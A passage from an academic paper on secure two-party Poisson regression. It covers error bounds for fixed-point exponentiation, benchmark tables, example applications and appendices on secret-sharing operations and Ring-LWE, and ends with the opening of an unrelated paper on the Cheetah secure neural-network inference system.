differs from the real value 2(˜z) as,∣∣∣̃y−2(˜z)
∣∣∣< 2−l f (2 ·2(˜z)+1)
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To put this in perspective, a computation of 210.125 ≈
1116.68 in a fixed point ring with l f = 15, will result in a
maximum possible error of 0.068, or at most 0.006%. With
l f = 20, the maximum error reduces to 0.0002%. This should
be more than reasonable for most practical settings, and in-
deed fits our regression usecase well, since regression is resis-
tant to small errors. Furthermore, we emphasize that the error
can always be made arbitrarily small by increasing the num-
ber of fractional bits available for the computation. Also note
that this error is achieved for the worst possible sharing of the
exponent, and may be much smaller for a random sharing.
Error dependence on actual value. The astute reader
might observe that the above computed error (in the fixed-
point ring) is bounded by a small multiple of the actual real
number result 2̃z. We highlight that this is not unlike the error
of chaining two truncated secure multiplications. For example,
suppose that JâK ,Jb̂K,JĉK ,Jd̂K are sharings held by P0 and P1
of fixed-point numbers a,b,c,d. Recall that secure multiplica-
tion can result in an error of at most±1 in the fixed-point ring.
This means that the secure multiplication of a,b can result in
a sharing of âb+1, while the secure multiplication of c,d can
result in a sharing of ĉd+1. At this point, if the two resultant
shares are also multiplied, the complete result can be at most
âbcd + âb+ ĉd + 2. In other words, the error here can also
depend on the actual numbers involved in the computation.

7 Experimental Evaluation

Implementation details. We implemented our protocols in
C++, and compiled the code using the open-source Bazel [2]
build tool. We support moduli up to 127-bit for both the fixed-
point ring and the field. For the operations, we use the native
C++ uint64_t type for moduli smaller than 64-bits, and uint128
from Google’s abseil library [3] for larger moduli. We give
users the option to decide the base integer size (64-bit or
128-bit) and provide experimental results for both.
Experimental setup. We ran all of our experiments on two
c2-standard-8 Google cloud instances with 3.1 GHz base fre-
quency and 32 GB RAM. Our code is single-threaded and only
uses a single core. For the LAN setting, both instances were
deployed in the us-central1 region where the mean network
latency was 0.15ms and the bandwidth was about 1.5GB/s.
For the WAN setting, one instance was in us-central1 while
the other was in us-west2; the mean network latency was
49ms and the bandwidth was about 50MB/s.

7.1 Secure Exponentiation Experiments
We benchmark our secure exponentiation protocol separately
and present our results and comparisons here.
Timing experiments. We provide the offline and online
computation times as well as end-to-end benchmarks (both
LAN and WAN) for several (l, l f ) parameters and for both

(l f , l) 64-bit BASEINT 128-bit BASEINT

Offline Online
End-to-End

Offline Online
End-to-End

LAN WAN LAN WAN

(5,32) 3.09 0.004 4.21 11.06 7.68 1.01 9.56 16.29
(10,63) 3.22 0.99 5.43 12.07 9.24 14.9 25.02 32.17
(15,63) 3.22 1.01 5.49 12.11 9.24 16.0 26.29 32.95
(20,100) - - - - 11.15 33.2 44.91 52.35
(20,127) - - - - 12.9 54.9 68.63 75.91

Table 1: Timing benchmarks (in µs) for the exponentiation
protocol, for base 64-bit and 128-bit int sizes. Exponents
in the range [−5,5] were randomly sampled and shared in
the fixed-point ring. Offline and online phase computation
times (in µs) are averaged over 1 million runs, and don’t in-
clude communication. End-to-end times per exponentiation
are given in the LAN and WAN settings where 100K expo-
nentiations are batched for communication. End-to-end times
include computation and communication costs for both the
online and offline phases.

l f
Our approach Polynomial Approx. [9]

µ σ µ σ

5 0.0286 0.011 0.0932 0.0202
10 0.0009 0.0003 0.0051 0.0019
20 9.2×10−7 3.5×10−7 6.6×10−6 5×10−6

30 9.1×10−10 3.5×10−10 1.3×10−8 2×10−8

40 8.9×10−13 3.4×10−13 1.8×10−9 7.4×10−9

Table 2: Mean (µ) and standard deviation (σ) of the fractional
exponentiation error as a ratio of the actual result for both our
approach and polynomial approximation (as in [9]). Expo-
nents are sampled and shared randomly. The error is averaged
over 1 million runs.

64-bit and 128-bit base integer sizes. The results are shown in
Table 1. We find that especially when batching the communi-
cation for several exponentiations together, the impact of the
network is quite minimal, primarily due to the small amount
of communication our protocol requires.

Accuracy experiments. As mentioned earlier, our exponen-
tiation has smaller error than standard techniques. Since, the
error comes only from the fractional part, we implement both
our fractional exponentiation as well as a degree-9 polynomial
approximation used in [9] and compare the errors in Table 2.
Our errors are smaller by 1 to 2 orders of magnitude and the
difference gets wider with more fractional bits.

Apart from the smaller errors, we also note that our tech-
nique only requires a single round of communication while a
degree-d polynomial approximation usually takes d rounds
when implemented using Horner’s method (as in done in [9]
to reduce total communication). One shortcoming however,
is that while it is straightforward to extend polynomial ap-
proximation to the malicious setting, it is not obvious how to
efficiently do the same for our technique.

Comparison to related work. We did not find any prior
work on fixed-point exponentiation that targets the same
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Dataset n m
Paillier [19] Correlated Triples (Approach I) Correlated Triples (Approach II)

LAN (s) WAN (s) Comm. LAN (s) WAN (s) Comm. LAN (s) WAN (s) Comm.

Replicated

1 1 0.06563 0.0752 3 KB 0.0048 0.0051 0.89 KB 0.00007 0.00024 0.89 KB

100
10 5.0371 5.3857 0.17 MB 0.0180 0.0192 17.8 KB 0.0024 0.0037 17.8 KB

100 20.088 20.676 0.30 MB 0.1488 0.1495 44.4 KB 0.0179 0.0195 44.4 KB
1000 171.18 171.85 1.65 MB 1.4597 1.4620 311 KB 0.1759 0.1814 311 KB

1000
10 47.739 48.342 1.52 MB 0.0229 0.0263 151 KB 0.0227 0.0265 151 KB

100 173.58 174.84 1.65 MB 0.1602 0.1642 178 KB 0.1601 0.1640 178 KB
1000 1433.1 1434.4 3.00 MB 1.5889 1.6150 444 KB 1.6003 1.6006 444 KB

10000
10 474.36 476.59 15.0 MB 0.1077 0.1331 1.49 MB 0.2234 0.2506 1.49 MB

100 1709.5 1710.3 15.2 MB 0.5737 0.6008 1.57 MB 1.5840 1.6158 1.57 MB
1000 14053 14056 16.5 MB 5.9126 6.0368 2.36 MB 15.920 15.956 2.36 MB

Somoza 21 11 1.3610 1.4202 48 KB 0.0192 0.0200 6.81 KB 0.0007 0.0012 6.81 KB
PhD 73 17 4.6749 4.7559 135 KB 0.0282 0.0296 15.7 KB 0.0028 0.0042 16.3 KB

Cancer 36 14 2.3283 2.4085 75 KB 0.0233 0.0245 9.47 KB 0.0013 0.0021 9.47 KB

Table 3: Micro benchmarks for generation of correlated Beaver triples ([A], [Bi], [Ci] = [ABi]) in the offline phase for l = 127 bits.
A has dimension n×m; the Bi have dimension m×1. The plaintext modulus used is 2l . Times (in seconds) and communication
cost for correlated triples are amortized for one triple over 1000 iterations. The baseline cost for triple generation via Paillier
encryption (with a 3072-bit keysize) is averaged over 5 iterations. All of our code is single threaded and is run in the LAN setting.

setting we do. The most relevant protocols are the ones in
SCALE-MAMBA [9] (benchmarked in [10]) and Aliasgari
et al. [7]. The protocol from [9] uses fixed-points but fo-
cuses primarily on active security; the one from [7] is in the
semi-honest setting but uses floating-points, is described only
for n≥ 3 parties and only for Shamir shares. Consequently,
while we provide some comparison points, our comparison
is not direct and comes with significant caveats. We intend
the comparison to be primarily directional, and to highlight
the difference in broader protocol approaches. Specifically,
we believe the comparison shows the simplicity of our de-
sign in the 2-party semi-honest setting, and the corresponding
performance gains (often µs vs ms or s).

First, we compare to the 2-party protocol from [9, 10]. As
noted earlier, this protocol targets the active-security setting,
while we target the semi-honest setting, so the comparison
is not direct. [9] requires a full bit decomposition and uses
a polynomial approximation for the fractional part, which
incurs a larger error than our approach. For fixed-point ex-
ponentiation with l = 245 and l f = 40, [10] shows an online
runtime of 15 ms, an offline runtime of 18000 ms, and an
offline cost of 1337 Beaver triples, 1 square tuple, and 7688
shared bits, which comes out to ∼2MB per exponentiation.
In contrast, for those parameters, our total offline cost is 980
bits, i.e., a 2000x improvement. Our implementation only sup-
ports a maximum of l = 127, and therefore our comparison is
not direct, but for (l f , l) = (20,127), our online runtime was
0.055 ms, and our offline time was 0.013 ms. [10] notes that
large parameters were chosen specifically for exponentiation
(as opposed to (20,128) for other functions like square-root,
sine, cosine etc.), due to high numerical instability. This is not
observed in our protocol for the parameters (20,127), largely
due to exponentiating the fractional component in R rather

than using polynomial approximation.
Our protocol also has a large throughput advantage.

While [10] reports 76 ops/s when 50 invocations are run
in parallel, we achieve ∼15,000 ops/s run sequentially for
our 127-bit modulus. We also note that the implementation
from [10] leverages multiple threads while all our code is
single threaded and could potentially be optimized further.

Aliasgari et al [7] provide a secure exponentiation protocol
in the semi honest setting. They consider floating-point expo-
nentiation in the 3-party setting with Shamir shares. This is
significantly different from our setting, since we target fixed-
point exponentiation in the 2-party setting. The comparison
therefore comes with significant caveats, but we provide a
brief analytical comparison here to highlight the differences in
techniques, and therefore efficiency. In particular, the protocol
from [7] requires a full bit decomposition, 4 comparison tests,
and l f floating-point multiplications (where l f is number of
significand bits). For a l f -bit comparable precision (for their
best setting where l f is more than the number of exponent
bits k), it requires at least 16+ 12log l f + log log l f rounds
and O(k)+O(l f log l f ) interactive operations (involving ex-
change of a secret share) taking preprocessing and parallel
computation into account. In comparison, our protocol re-
quires a single round and only one interactive operation (i.e.,
only one secret share is exchanged) regardless of l and l f .

7.2 Offline Phase Experiments

We provide micro benchmarks for the offline phase genera-
tion of correlated Beaver triples in both the LAN and WAN
settings in Table 3. As a baseline, we also compare to the
cost when using Paillier encryption. Both our approaches
(see Section 5.1) have 5x-10x less communication cost and
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are 520x-4200x faster than Paillier AHE-based approaches.
Experiments in [19] suggest that an OT-based approach is 20x-
30x faster than the Paillier AHE-based one in the LAN setting
which highlights that our protocols would also be faster than
OT-based triple generation.

7.3 Poisson Regression Experiments
We measure the performance of our secure Poisson regression
protocol by comparing it with plaintext Poisson regression,
where the data is provided without encryption. Our secure
regression is implemented with fixed-point numbers, while
the C++ double type is used in the plaintext version.

We use the parameters (l f , l) = (20,127) here but we also
provide results for (l f , l) = (15,63) in the full version [16].

Datasets. We run our regression experiments on three
datasets (detailed next) from the Princeton University course
on Generalized Linear Models [1].

1. Somoza. This dataset contains infant and child survival
rates in Colombia. Survival is modeled as a function of sex,
cohort, and age range. The dataset tracks 2000 infants over
several years, and provides aggregate exposures and counts
over 21 distinct feature combinations.

2. Time to PhD. This dataset predicts PhD graduation as a
function of years in graduate school, university, and residence
status. We encode the explanatory variables into 17 binary
features. Data from 35,000 PhD students is used to calculate
the aggregate exposure period and graduation counts for 73
distinct feature combinations.

3. Smoking and Cancer. This dataset contains information
from a Canadian study of mortality by age and smoking status.
There are 14 different binary features, corresponding to dif-
ferent age buckets and smoking statuses. There are 36 distinct
feature combinations, containing counts and exposure periods
from a total of 92,000 respondents.

Accuracy evaluation. To quantify accuracy, we benchmark
our secure Poisson regression protocol against a plaintext
regression baseline for different learning rates and fixed-point
precision. See Figure 3. We observe that our secure protocol
performs almost exactly as well as the plaintext regression:
the lines plotted for model error versus number of iterations
are nearly coincident.

When we take a closer look at the learned parameter θ, we
find that the actual weights learned by the secure protocol are
also nearly exactly the same as those from plaintext learning.
See Table 4: the root mean square error between the secure
weights and the plaintext weights is very small regardless of
the dataset being tested on.

Performance evaluation. We also benchmark the computa-
tion (offline and online) and online communication efficiency
of our end-to-end protocol in Table 5. In addition to the ear-
lier datasets, we also run our experiments on larger synthetic
datasets. For this, we replicate the Somoza dataset to obtain

Learning rate Iterations
RMSE between plaintext weights and secure weights

Somoza Time to PhD
Smoking and
Lung Cancer

0.0001
100 0.00064 - 0.00016
500 0.00259 - 0.00048

1000 0.00456 - 0.00097

0.00005
100 0.00034 0.00031 0.00021
500 0.00160 0.00123 0.00057

1000 0.00346 0.00200 0.00150

0.00003
100 0.00029 0.00030 0.00023
500 0.00131 0.00126 0.00060

1000 0.00294 0.00228 0.00107

Table 4: RMSE between the weights obtained from secure
regression and those from plaintext regression. This table
shows that the learned weights from secure regression are
nearly the same as those obtained from plaintext regression.

a new dataset of the appropriate size (n×m). We report our
timing results for this under the “Replicated” dataset header.

As there is no previous work done on secure Poisson re-
gression, it is not possible for us to compare efficiency of our
protocol with other work. Instead, we compare our protocol
with a “basic" version that does not use correlated Beaver
triples. We still use our exponentiation protocol. For corre-
lated triples, since the gain is only when multiple gradient
descent iterations are run, for our timing values, we run 1000
iterations, and report the amortized time for 1 iteration.

We find that our protocol performs well, even for larger
datasets. For example, in the LAN setting, for a dataset with
10,000 elements and 100 features, it has an amortized cost of
3.116 seconds of offline time, 5.501 seconds of online time,
and 14.8 MB of communication. Over 100 iterations, the cost
is about 5 minutes of offline time, 9 minutes of online time,
and 1.48 GB of communication.

8 Applications

In this section, we give several concrete applications for se-
cure Poisson regression, and discuss performance of our pro-
tocol in each of these scenarios.

COVID-19 case fatality rate. Recent work [27] performs
an analysis of COVID-19 case fatality using Poisson Regres-
sion. They measure the effect of 9 binary variables on the
counts of COVID-19 fatalities, using 2070 cases as training
examples. Variables include age-range (≥ 60 years), presence
of cardiovascular disease, and presence of neurologic diseases.
The regression model is used to compute the incidence rate ra-
tio (IRR) for each variable, that is, the ratio between predicted
fatalities when that variable is present versus not.

This case provides a good example for health data, where
multiple hospitals may hold slices of the data, and may not
want it to be centralized in the clear. To compute over this data
privately, hospitals could send shares of the data to two servers
who could perform Poisson regression securely, and compute
shares of the model parameters. The model could then be sent
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Figure 3: Convergence of the RMSE for plaintext regression versus Secure Poisson regression with 20-bit fixed-point precision.

Dataset n m

Standard Correlated Triples
Offline Online Offline Online

LAN
(s)

WAN
(s)

Comm.
(MB)

LAN
(s)

WAN
(s)

Comm.
(MB)

LAN
(s)

WAN
(s)

Comm.
(MB)

LAN
(s)

WAN
(s)

Comm.
(MB)

Repl.

100
10 16.700 18.006 0.644 0.008 0.201 0.077 0.028 0.034 0.139 0.006 0.200 0.013
100 46.740 48.877 0.914 0.065 0.271 0.629 0.044 0.065 0.192 0.062 0.254 0.016

1000 351.32 354.22 3.61 0.653 1.172 6.149 0.344 0.371 0.725 0.618 0.963 0.049

1000
10 158.52 168.74 6.17 0.059 0.260 0.763 0.277 0.324 1.33 0.056 0.245 0.123
100 410.40 421.94 6.44 0.593 1.035 6.259 0.414 0.604 1.39 0.558 0.846 0.131

1000 2931.8 2944.1 9.14 5.888 8.474 61.22 3.256 3.460 1.92 5.562 6.045 0.214

10000
10 1582.2 1680.5 61.5 0.584 1.023 7.630 2.650 3.107 13.3 0.549 1.001 1.227
100 4077.7 4181.3 61.7 5.825 8.342 62.56 3.116 4.997 13.5 5.501 5.989 1.285

1000 29040 29154 64.4 59.745 72.234 611.9 65.82 70.61 15.1 55.144 55.862 1.862
Sozoma 21 11 4.067 4.421 0.162 0.002 0.199 0.016 0.003 0.008 0.037 0.002 0.197 0.002

PhD 73 17 13.960 15.005 0.500 0.009 0.202 0.081 0.012 0.028 0.116 0.008 0.201 0.004
Cancer 36 14 6.950 7.526 0.263 0.004 0.199 0.034 0.006 0.014 0.060 0.004 0.199 0.003

Table 5: Benchmarks for secure Poisson regression with the parameters (l f , l) = (20,127) for different datasets. n is the number
of examples and m is the number of features. For larger values of n and m, the Somoza dataset was replicated. Times (in seconds)
are given per iteration of gradient descent over the entire dataset. For the “Standard” column, we use standard Beaver triples
generated via Paillier encryption (e.g., as in [19]) along with our fixed-point exponentiation protocol. For correlated triples, we
use the best performing of our two approaches given the specific (n,m) for offline generation. Both the offline and online phases
are amortized over 1000 iterations. All of our code is single threaded.

to each hospital which would individually compute the IRR
for each variable, and release the aggregate IRRs.

On a synthetic dataset with similar shape, in the LAN set-
ting, our protocol takes 0.268 seconds in the offline phase and

0.103 seconds in the online phase per iteration of gradient de-
scent, with a total communication cost of 3.52 MB. Assuming
100 iterations of gradient descent are needed for convergence,
this results in 26.8 seconds in the offline phase, 10.3 seconds
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in the online phase, and a communication of 352 MB.
Predicting credit default rates. [18] use Poisson Regres-
sion to model the rate of default payments by borrowers.
They measure the effect of 6 variables, including income, age,
monthly credit card expenditure, and home-ownership on the
monthly rate of defaulted loan payments using a sample of
1002 individuals. After regression, the authors propose using
the model inference to data of loan applicants to compute
predicted defaults, and thereby characterize risk level.

This case involves training on sensitive financial data,
which may be distributed across several institutions. Securely
computing regression on these values would then consist of
two phases: combining the records from multiple institutions,
followed by performing secure regression on the joint data.
The former task can be handled using techniques like privacy-
preserving record linkage [5]. Our secure protocol is a good
fit for the latter part, as well as the subsequent inference.

On a synthetic dataset with similar shape, in the LAN set-
ting, our protocol incurs 5.8 seconds of offline time and 3.4
seconds of online time to perform 100 iterations of secure
gradient descent, with a total communication cost of 157 MB.
Each iteration would incur 0.058 seconds and 0.034 seconds
of offline and online time, with 1.57 MB of communication.
Modeling Ad campaign conversion rates. Google re-
searchers [26] describe a system for measuring ad campaign
conversion rates using Poisson regression. A “conversion"
corresponds to an individual buying an item after seeing one
or more ads. [26] give several ways to model multiple ad
channels having a combined effect on an individual, with the
ad effects decaying over time. One is to use a “step" decay:
assigning each ad channel 3 binary attributes, corresponding
to whether an individual was exposed to the ad in the short
term (1 day prior), medium term (2-7 days prior) or long term
(7-30 days prior). The conversion rate is then learned via Pois-
son regression using such attributes for some combination
of ad channels. Credit for a conversion is proportionally dis-
tributed to each ad channel according to the relative change
in predicted conversion rate when that ad channel is switched
from exposed to unexposed. The total credit per ad channel
is computed as the sum of its proportional credit across all
conversions in the dataset.

This problem is an excellent case for the use of secure
computation techniques, since it involves sensitive business
and user data that may be held by different ad companies and
transaction data providers. A secure solution would require
privately joining the records, securely performing regression,
and then securely computing the aggregate credit for each ad
channel. The private join could be achieved using privacy-
preserving record linkage techniques [5]. Our work is well-
suited for regression as well as the subsequent inference.

On a synthetic dataset with 5 ad channels and 3 binary
attributes per channel for a total of 15 binary attributes, and
assuming 100,000 training points, our regression takes 6.90
seconds of offline time and 8.197 seconds of online time per

iteration of gradient descent, with 156.7 MB of total commu-
nication. For 100 iterations of gradient descent, we incur 11.5
minutes of offline time and about 14 minutes of online time,
with 15.67 GB of total communication.

9 Conclusion

Poisson regression is a widely used technique for modeling
Poisson processes that occur across the life and social sciences.
In many settings, the inputs for training Poisson models are
sensitive health or financial data held by different parties. The
secure Poisson regression protocol introduced in this paper
enables computation on private data which reveals only the
output Poisson model while protecting the inputs. Our con-
struction achieves this with great efficiency while preserving
accuracy comparable to computation in the clear. For several
real datasets, this means execution in just a few seconds with
a couple MB of communication. At the crux of our protocol is
a new construction for secure fixed-point exponentiation and
a new technique for correlated matrix multiplication, both of
which are of independent interest with applications far beyond
Poisson regression.

Acknowledgments

We thank Tancrède Lepoint for insightful discussions. We
also thank the anonymous reviewers of USENIX Security for
their helpful comments and suggestions.

References

[1] https://data.princeton.edu/wws509/datasets.

[2] https://github.com/bazelbuild/bazel.

[3] https://github.com/abseil/abseil-cpp.

[4] Nitin Agrawal, Ali Shahin Shamsabadi, Matt J. Kusner,
and Adrià Gascón. Quotient: Two-party secure neural
network training and prediction. In CCS, pages 1231–
1247, 2019.

[5] Rakesh Agrawal, Alexandre Evfimievski, and Ramakr-
ishnan Srikant. Information sharing across private
databases. In SIGMOD, pages 86–97, 2003.

[6] Martin R Albrecht, Rachel Player, and Sam Scott. On
the concrete hardness of learning with errors. Journal
of Mathematical Cryptology, 9(3):169–203, 2015.

[7] Mehrdad Aliasgari, Marina Blanton, Yihua Zhang, and
Aaron Steele. Secure computation on floating point
numbers. In NDSS, 2013.

806    31st USENIX Security Symposium USENIX Association

https://data.princeton.edu/wws509/datasets
https://github.com/bazelbuild/bazel
https://github.com/abseil/abseil-cpp


[8] Abdelrahaman Aly, Aysajan Abidin, and Svetla Nikova.
Practically efficient secure distributed exponentiation
without bit-decomposition. In FC, pages 291–309, 2018.

[9] Abdelrahaman Aly, K Cong, D Cozzo, M Keller,
E Orsini, D Rotaru, O Scherer, P Scholl, NP Smart,
T Tanguy, and T Wood. SCALE-MAMBA v1.10: Doc-
umentation, 2020. https://homes.esat.kuleuven.
be/~nsmart/SCALE/Documentation.pdf.

[10] Abdelrahaman Aly and Nigel P. Smart. Benchmarking
privacy preserving scientific operations. In ACNS, pages
509–529, 2019.

[11] Donald Beaver. Efficient multiparty protocols using
circuit randomization. In CRYPTO, pages 420–432,
1992.

[12] Zvika Brakerski, Craig Gentry, and Vinod Vaikun-
tanathan. (Leveled) fully homomorphic encryption with-
out bootstrapping. ACM Trans. Comput. Theory, 6(3),
2014.

[13] E. L. Frome. The analysis of rates using Poisson regres-
sion models. Biometrics, 39(3):665–674, 1983.

[14] Hossein Ghodosi, Josef Pieprzyk, and Ron Steinfeld.
Multi-party computation with conversion of secret shar-
ing. Des. Codes Cryptogr., 62(3):259–272, 2012.

[15] Oded Goldreich. Foundations of Cryptography: Basic
Applications, volume 2. Cambridge University Press,
2004.

[16] Mahimna Kelkar, Phi Hung Le, Mariana Raykova, and
Karn Seth. Secure Poisson regression. Cryptology
ePrint Archive, Report 2021/208, 2021. https://ia.
cr/2021/208.

[17] Vadim Lyubashevsky, Chris Peikert, and Oded Regev.
On ideal lattices and learning with errors over rings. In
EUROCRYPT, pages 1–23, 2010.

[18] Sami Mestiri and Abdeljelil Farhat. Using non-
parametric count model for credit scoring. SSRN Elec-
tronic Journal, 10 2019.

[19] Payman Mohassel and Yupeng Zhang. SecureML: A
system for scalable privacy-preserving machine learning.
In IEEE SP, pages 19–38, 2017.

[20] Jesper Buus Nielsen, Peter Sebastian Nordholt, Clau-
dio Orlandi, and Sai Sheshank Burra. A new approach
to practical active-secure two-party computation. In
CRYPTO, pages 681–700, 2012.

[21] Chao Ning and Qiuliang Xu. Constant-rounds, linear
multi-party computation for exponentiation and modulo
reduction with perfect security. In ASIACRYPT, pages
572–589, 2011.

[22] Emmanuela Orsini, Nigel P. Smart, and Frederik Ver-
cauteren. Overdrive2k: Efficient secure MPC over Z2k

from somewhat homomorphic encryption. In CT-RSA,
pages 254–283, 2020.

[23] Deevashwer Rathee, Thomas Schneider, and K. K.
Shukla. Improved multiplication triple generation over
rings via RLWE-based AHE. In CANS, pages 347–359,
2019.

[24] M. Sadegh Riazi, Mohammad Samragh, Hao Chen,
Kim Laine, Kristin E. Lauter, and Farinaz Koushanfar.
XONN: XNOR-based oblivious deep neural network in-
ference. In USENIX Security, pages 1501–1518, 2019.

[25] Sean Richey. Who votes alone? the impact of voting
by mail on political discussion. Australian Journal of
Political Science, 40(3):435–442, 2005.

[26] Dinah Shender, Ali Nasiri Amini, Xinlong Bao, Mert
Dikmen, Amy Richardson, and Jing Wang. A time
to event framework for multi-touch attribution. arXiv
2009.08432, 2020.

[27] G. J. B. Sousa, T. S. Garces, V. R. F. Cestari, R. S. Florên-
cio, T. M. M. Moreira, and M. L. D. Pereira. Mortality
and survival of COVID-19. Epidemiology and Infection,
148, 2020.

[28] Sameer Wagh, Divya Gupta, and Nishanth Chandran. Se-
curenn: 3-party secure computation for neural network
training. Proc. Priv. Enhancing Technol., 2019(3):26–
49, 2019.

[29] Ching-Hua Yu, Sherman S. M. Chow, Kai-Min Chung,
and Feng-Hao Liu. Efficient secure two-party exponen-
tiation. In CT-RSA, pages 17–32, 2011.

A Detailed secure functionalities

We provide more details on the public fixed-point multiplica-
tion, and division functionalities, as well as the RingChange
operation.

Public fixed-point division. Consider a sharing JxK over
R+
∗ with modulus N, and a public positive divisor c∈Z+. Re-

call that except with probability 2lx/N, the sharing is such that
JxK0+JxK1 = x+N. Now, to compute the fixed-point division

by c, P0 computes JzK0 = N −
⌊

N−JxK0
c

⌋
and P1 computes

JzK1 =
⌊

JxK1
c

⌋
. Notice now that, x

c +N− 1 ≤ JzK0 + JzK1 ≤
x
c +N +1. Therefore, (JzK0 ,JzK1) is a sharing of the represen-
tation of˜x/c inR, with an error at most 2−l f . Note that while
our protocol does not require it, a public negative divisor can
easily be handled by first dividing by the absolute value and
then subtracting the shares from the modulus N.
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Public fixed-point multiplication. Consider a sharing JxK
overR∗ with modulus N, and a positive public element c ∈
R+
∗ . Let JxK= (r,(x−r) mod N). Let JzK0 =

⌊
cJxK0−cN

2l f

⌋
mod

N and JzK1 =
⌊

cJxK1

2l f

⌋
mod N. Let cJxK0−cN

2l f
= w0− d0, and

cJxK1

2l f
= w1 +d1, where wi are the integer parts and 0≤ di < 1

are the fractional parts. Note the negative sign on d0 since
N > JxK0. We show that (JzK0 ,JzK1) form a sharing of (̂˜c)(˜x).
Recall that this is cx

2l f
when x ∈ R+

∗ and N − c(N−x)

2l f
when

x ∈R−∗ .
Case 1) x ∈ R+

∗ . Then, when r ∈ [2lx ,N), the sharing is
such that JxK0 + JxK1 = x + N. Now, JzK0 + JzK1 mod N ≡
w0 +w1 ≡ (w0−d0 +w1 +d1)+(d0−d1)≡ cx

2l f
+(d0−d1).

Therefore, (cx)/2l f −1≤ JzK0 + JzK1 mod N ≤ (cx)/2l f +1.
Case 2) x ∈R−∗ . Then, when r ∈ [0,N−2lx ], the sharing is

such that JxK0 + JxK1 = x (without the modulo). Now, JzK0 +
JzK1 mod N ≡ w0 +w1 ≡ (w0−d0 +w1 +d1)+(d0−d1)≡
−c(N−x)

2l f
+ (d0 − d1). Therefore, (N − c(N−x)

2l f
)− 1 ≤ JzK0 +

JzK1 mod N ≤ (N− c(N−x)

2l f
)+1.

Consequently, when r ∈ [2lx ,N−2lx ], i.e., except with prob-
ability less than 2lx+1, this results in a sharing of the repre-
sentation of (˜x)(˜c), with an error of at most 2−l f . Note that a
negative c can also be handled analogously to PubFPDiv.
Ring change. We only require the RingChange operation
to switch rings between ZN and ZN′ where N′ > N, and only
for positive fixed-point numbers. Consider a random sharing
of x ∈ [0,2lx) in ZN and denote the two shares by JxK0 = r
and JxK1 = x− r mod N. Note that when r ∈ [0,2lx), JxK0 +
JxK1 = x (even without a mod N). For any other r, JxK0 +
JxK1 = x +N. This means that for a random sharing of x,
the addition “wraps around” N with probability 1− 2lx

N Now,

if we set JxKZN′
0 = JxKZN

0 +N′−N and JxKZN′
1 = JxKZN

1 , then

(JxKZN′
0 ,JxKZN′

1 ) forms a sharing of x in ZN′ and wraps around
N′. Consequently, except for a failure probability of at most
2lx/N, the above protocol switches the sharing of x from ZN
to ZN′ with no error.

If necessary, the range for both the shares of both parties
can be expanded to all of ZN′ by using a PRG. Specifically,
both parties can agree on a PRG G the outputs values in ZN′ ,
and a seed g0 = s. For the jth RingChange, they can compute
the next PRG value g j. Then P0 adds g j modulo N′ to its
share, and P1 subtracts g j modulo N′ to its share.

B Background on Ring-LWE

Ring-Learning-With-Errors [17] (RLWE) is a hardness as-
sumption based on which efficient homomorphic encryption
schemes have been constructed. We use the leveled encryption

scheme proposed by Brakersky et al. [12], based on RLWE,
to generate the Beaver triples in our preprocessing phase.
For a positive integer N, the scheme is defined over the ring
R = Z[X ]/ΦN(X) where ΦN(X) is an Nth cyclotomic polyno-
mial of degree φ(N) (φ(·) is the Euler’s totient function). We
define the ring Rt = R/tR, and use p,q to denote the plaintext
and ciphertext modulus respectively. Choosing p and q care-
fully allows us to pack φ(N) plaintexts (m1, · · · ,mφ(N)) into
a single ring element m ∈ Rp and enables SIMD operations
(addition, multiplication) over the packed plaintexts.

We now describe the operations for Ring-LWE-based en-
cryption in the two-party setting.

Key Generation. One party samples a key pair (sk, pk) such
that sk = (1,−s), where s ∈ R with coefficients in {−1,0,1}
and s has low Hamming weight (e.g., H(s) = 64) and pk =
(a,b), where a← Rq and b = as+ tε ∈ Rq with ε drawn from
a small noise distribution χ.

Encryption. Given a packed plaintext m ∈ Rp, its fresh
ciphertext can be given by (c0,c1) where c0 = m+bv+ pε0
and c1 = av+ pε1 (where v,ε0,ε1 are drawn from the noise
distribution).

Decryption. The party that holds the secret key can decrypt
the ciphertext to recover the underlying plaintext. Given a
ciphertext c≡ (c0,c1) ∈ R2

q, the plaintext can be computed as
Decsk(c) = c0 + c1s mod p.

Plaintext addition. Given a ciphertext c ≡ (c0,c1) =
Enc(m) ∈ R2

q and a plaintext message m′ ∈ Rp, one can
produce the encryption of (m+m′) as c′ = (c0 +m′,c1) =
Enc(m+m′).

Scaling. Given a ciphertext c ≡ (c0,c1) = Enc(m) ∈ R2
q

and a scalar a ∈ Zp, one can produce the encryption of am =
(am1, · · · ,amN) as c′ = (a · c0,a · c1) = Enc(a ·m).

Shifting. Given a ciphertext c ≡ (c0,c1) = Enc(m) ∈
R2

q where m = (m1, · · · ,mK ,0, · · · ,0), we can produce the
encryption of m′ = (0, · · · ,0,m1, · · · ,mK ,0, · · · ,0) where
m1 is shifted by a distance t and t + K ≤ N. Let v =
(0, · · · ,0,1,0, · · · ,0) where v is zero everywhere except for
the tth position. Then c′ = (v ◦ c0,v ◦ c1) = Enc(m ◦ v) =
Enc(m′) where ◦ denotes polynomial multiplication operation
in Rq = Zq[X ]/ΦN(X).

Choosing parameters for Ring-LWE. Following the pa-
rameters suggested by [6], we use a ciphertext prime q = 160
bits for our RLWE scheme when generating Beaver triples
for ring of size p = 63 bits (Z263 ) and q = 295 bits when gen-
erating triples for ring of size p = 127 bits (Z2127 ). In the first
case, we use a polynomial modulus of degree 212 = 4096,
while for the later case 214 = 16384. This is sufficient for
security of at least 128 bits. To allow efficient encryption
and decryption via the use of number theoretic transform, we
choose a ciphertext modulus q such that q≡ 1 mod 2N.
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Abstract
Secure two-party neural network inference (2PC-NN) can

offer privacy protection for both the client and the server and
is a promising technique in the machine-learning-as-a-service
setting. However, the large overhead of the current 2PC-NN in-
ference systems is still being a headache, especially when ap-
plied to deep neural networks such as ResNet50. In this work,
we present Cheetah, a new 2PC-NN inference system that is
faster and more communication-efficient than state-of-the-arts.
The main contributions of Cheetah are two-fold: the first part
includes carefully designed homomorphic encryption-based
protocols that can evaluate the linear layers (namely convo-
lution, batch normalization, and fully-connection) without
any expensive rotation operation. The second part includes
several lean and communication-efficient primitives for the
non-linear functions (e.g., ReLU and truncation). Using Chee-
tah, we present intensive benchmarks over several large-scale
deep neural networks. Take ResNet50 for an example, an end-
to-end execution of Cheetah under a WAN setting costs less
than 2.5 minutes and 2.3 gigabytes of communication, which
outperforms CrypTFlow2 (ACM CCS 2020) by about 5.6×
and 12.9×, respectively.

1 Introduction

To alleviate some of the privacy concerns associated with the
ubiquitous deployment of deep learning technologies, many
works [2, 6, 10, 17, 21, 34, 39, 41] in the past few years have
